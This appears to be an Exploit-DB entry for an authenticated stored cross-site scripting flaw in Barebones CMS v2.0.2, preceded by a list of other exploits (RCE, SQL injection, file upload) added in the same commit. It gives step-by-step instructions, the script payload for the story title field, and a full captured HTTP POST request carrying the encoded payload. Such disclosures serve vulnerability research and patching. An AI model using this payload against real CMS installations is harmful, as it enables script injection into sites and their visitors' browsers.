25f2c0adca
8 changes to exploits/shellcodes/ghdb STARFACE 7.3.0.10 - Authentication with Password Hash Possible Barebones CMS v2.0.2 - Stored Cross-Site Scripting (XSS) (Authenticated) Best POS Management System v1.0 - Unauthenticated Remote Code Execution Enrollment System Project v1.0 - SQL Injection Authentication Bypass (SQLI) Faculty Evaluation System 1.0 - Unauthenticated File Upload File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution (RCE) MotoCMS Version 3.4.3 - SQL Injection Online Security Guards Hiring System 1.0 - Reflected XSS Total CMS 1.7.4 - Remote Code Execution (RCE) Roxy WI v6.1.0.0 - Unauthenticated Remote Code Execution (RCE)
38 lines
No EOL
1.7 KiB
Text
38 lines
No EOL
1.7 KiB
Text
# Exploit Title: Barebones CMS v2.0.2 - Stored Cross-Site Scripting (XSS) (Authenticated)
|
|
# Date: 2023-06-03
|
|
# Exploit Author: tmrswrr
|
|
# Vendor Homepage: https://barebonescms.com/
|
|
# Software Link: https://github.com/cubiclesoft/barebones-cms/archive/master.zip
|
|
# Version: v2.0.2
|
|
# Tested : https://demo.barebonescms.com/
|
|
|
|
|
|
--- Description ---
|
|
|
|
1) Login admin panel and go to new story :
|
|
https://demo.barebonescms.com/sessions/127.0.0.1/moors-sluses/admin/?action=addeditasset&type=story&sec_t=241bac393bb576b2538613a18de8c01184323540
|
|
2) Click edit button and write your payload in the title field:
|
|
Payload: "><script>alert(1)</script>
|
|
3) After save change and will you see alert button
|
|
|
|
|
|
POST /sessions/127.0.0.1/moors-sluses/admin/ HTTP/1.1
|
|
Host: demo.barebonescms.com
|
|
Cookie: PHPSESSID=81ecf7072ed639fa2fda1347883265a4
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
|
|
Accept: application/json, text/javascript, */*; q=0.01
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
X-Requested-With: XMLHttpRequest
|
|
Content-Length: 237
|
|
Origin: https://demo.barebonescms.com
|
|
Dnt: 1
|
|
Referer: https://demo.barebonescms.com/sessions/78.163.184.240/moors-sluses/admin/?action=addeditasset&id=1&type=story&lang=en-us&sec_t=241bac393bb576b2538613a18de8c01184323540
|
|
Sec-Fetch-Dest: empty
|
|
Sec-Fetch-Mode: cors
|
|
Sec-Fetch-Site: same-origin
|
|
Te: trailers
|
|
Connection: close
|
|
|
|
action=saveasset&id=1&revision=0&type=story&sec_t=a6adec1ffa60ca5adf4377df100719b952d3f596&lang=en-us&title=%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3E&newtag=&publish_date=2023-06-03&publish_time=12%3A07+am&unpublish_date=&unpublish_time= |